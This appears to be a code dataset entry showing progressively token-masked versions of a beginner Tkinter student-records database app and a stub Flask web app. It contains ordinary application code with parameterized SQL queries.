cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\nroot = tk.Tk()\ncanvas1 = tk.Canvas(root, width=900, height=300)\ncanvas1.pack()\nName = tk.Entry(root)\ncanvas1.create_window(300, 10, window=Name)\nlabel1 = tk.Label(root, text='Name:')\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\nAge = tk.Entry(root)\ncanvas1.create_window(300, 40, window=Age)\nlabel2 = tk.Label(root, text='Age:')\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\nGender = tk.Entry(root)\ncanvas1.create_window(300, 70, window=Gender)\nlabel3 = tk.Label(root, text='Gender:')\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\nheight = tk.Entry(root)\ncanvas1.create_window(300, 100, window=height)\nlabel4 = tk.Label(root, text='height in cm:')\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\nweight = tk.Entry(root)\ncanvas1.create_window(300, 130, window=weight)\nlabel5 = tk.Label(root, text='weight in kg:')\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\nStudentId = tk.Entry(root)\ncanvas1.create_window(300, 160, window=StudentId)\nlabel6 = tk.Label(root, text='StudentId:')\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\nSport = tk.Entry(root)\ncanvas1.create_window(300, 190, window=Sport)\nlabel7 = tk.Label(root, text='Sport:')\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\nbutton1 = tk.Button(text='Save', command=save)\ncanvas1.create_window(500, 250, window=button1)\nbutton5 = tk.Button(text='Search', command=Search)\ncanvas1.create_window(400, 250, window=button5)\nbutton3 = tk.Button(text='delete', command=delete)\ncanvas1.create_window(450, 250, window=button3)\ntree = ttk.Treeview(root)\ntree['columns'] = 'one', 'two', 'three', 'four', 'five', 'six'\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n",
"<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\ncanvas1.pack()\n<assignment token>\ncanvas1.create_window(300, 10, window=Name)\n<assignment token>\nlabel1.config(font=('helvetica', 10))\ncanvas1.create_window(200, 10, window=label1)\n<assignment token>\ncanvas1.create_window(300, 40, window=Age)\n<assignment token>\nlabel2.config(font=('helvetica', 10))\ncanvas1.create_window(200, 40, window=label2)\n<assignment token>\ncanvas1.create_window(300, 70, window=Gender)\n<assignment token>\nlabel3.config(font=('helvetica', 10))\ncanvas1.create_window(200, 70, window=label3)\n<assignment token>\ncanvas1.create_window(300, 100, window=height)\n<assignment token>\nlabel4.config(font=('helvetica', 10))\ncanvas1.create_window(200, 100, window=label4)\n<assignment token>\ncanvas1.create_window(300, 130, window=weight)\n<assignment token>\nlabel5.config(font=('helvetica', 10))\ncanvas1.create_window(200, 130, window=label5)\n<assignment token>\ncanvas1.create_window(300, 160, window=StudentId)\n<assignment token>\nlabel6.config(font=('helvetica', 10))\ncanvas1.create_window(200, 160, window=label6)\n<assignment token>\ncanvas1.create_window(300, 190, window=Sport)\n<assignment token>\nlabel7.config(font=('helvetica', 10))\ncanvas1.create_window(200, 190, window=label7)\n<assignment token>\ncanvas1.create_window(500, 250, window=button1)\n<assignment token>\ncanvas1.create_window(400, 250, window=button5)\n<assignment token>\ncanvas1.create_window(450, 250, window=button3)\n<assignment token>\ntree.column('#0', width=130, minwidth=270, stretch=tk.NO)\ntree.column('one', width=100, minwidth=150, stretch=tk.NO)\ntree.column('two', width=100, minwidth=100)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.column('three', width=100, minwidth=50, stretch=tk.NO)\ntree.heading('#0', text='Name', anchor=tk.W)\ntree.heading('one', text='Age', anchor=tk.W)\ntree.heading('two', text='Gender', anchor=tk.W)\ntree.heading('three', text='Height', anchor=tk.W)\ntree.heading('four', text='Weight', anchor=tk.W)\ntree.heading('five', text='StudentId', anchor=tk.W)\ntree.heading('six', text='Sports', anchor=tk.W)\ntree.pack()\nroot.mainloop()\n",
"<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\ndef delete():\n x = StudentId.get()\n cursor.execute(\n \"\"\"\n DELETE FROM Students\n WHERE StudentId = (?)\"\"\", x)\n conn.commit()\n cursor.execute(\n \"\"\"\n DELETE FROM Activity\n WHERE StudentId = (?)\"\"\", x)\n clearfields()\n messagebox.showinfo('Tkinter', 'Deleted successfully!')\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef save():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n weights = weight.get()\n rollnos = StudentId.get()\n Sports = Sport.get()\n cursor.execute(\n \"\"\"\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\n VALUES (?,?,?,?,?,?)\"\"\"\n , (Names, Ages, Genders, Heights, weights, rollnos))\n conn.commit()\n cursor.execute(\n \"\"\"\n INSERT INTO Activity(Name,StudentId,Activity)\n VALUES (?,?,?)\n \"\"\"\n , (Names, rollnos, Sports))\n conn.commit()\n clearfields()\n messagebox.showinfo('Tkinter', 'Saved successfully!')\n\n\n<function token>\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef Search():\n Names = Name.get()\n Ages = Age.get()\n Genders = Gender.get()\n Heights = height.get()\n Weights = weight.get()\n Rollnos = StudentId.get()\n Sports = Sport.get()\n t = tree.get_children()\n for f in t:\n tree.delete(f)\n if len(Names) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\"\n , Names)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Ages) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\"\n , Ages)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Genders) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\"\n , Genders)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Heights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\"\n , Heights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Weights) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\"\n , Weights)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Rollnos) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\"\n , Rollnos)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n elif len(Sports) != 0:\n cursor.execute(\n \"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\"\n , Sports)\n records = cursor.fetchall()\n for row in records:\n tree.insert('', 3, text=row[0], values=(row[1], row[2], row[3],\n row[4], row[5], row[6]))\n tree.pack(side=tk.TOP, fill=tk.X)\n else:\n messagebox.showinfo('Tkinter',\n 'Atleast one search criteria must be given!')\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\ndef clearfields():\n Name.delete(0, tk.END)\n Age.delete(0, tk.END)\n Gender.delete(0, tk.END)\n height.delete(0, tk.END)\n weight.delete(0, tk.END)\n StudentId.delete(0, tk.END)\n Sport.delete(0, tk.END)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,928 |
cc094f8aeff3b52bd9184f7b815320529ecb4550
|
from flask import Flask
app = Flask(__name__)
@app.route('/')
def root():
return "Test!"
@app.route('/federal/geographic')
def federal_geographic():
pass
@app.route('/federal/issue')
def federal_issue():
pass
@app.route('/state/geographic')
def state_geographic():
pass
@app.route('/local/temporal')
def local_temporal():
pass
if __name__ == "__main__":
app.run(debug=True)
|
[
"from flask import Flask\n\napp = Flask(__name__)\n\[email protected]('/')\ndef root():\n return \"Test!\"\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n",
"from flask import Flask\napp = Flask(__name__)\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\napp = Flask(__name__)\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef root():\n return 'Test!'\n\n\[email protected]('/federal/geographic')\ndef federal_geographic():\n pass\n\n\[email protected]('/federal/issue')\ndef federal_issue():\n pass\n\n\[email protected]('/state/geographic')\ndef state_geographic():\n pass\n\n\[email protected]('/local/temporal')\ndef local_temporal():\n pass\n\n\n<code token>\n",
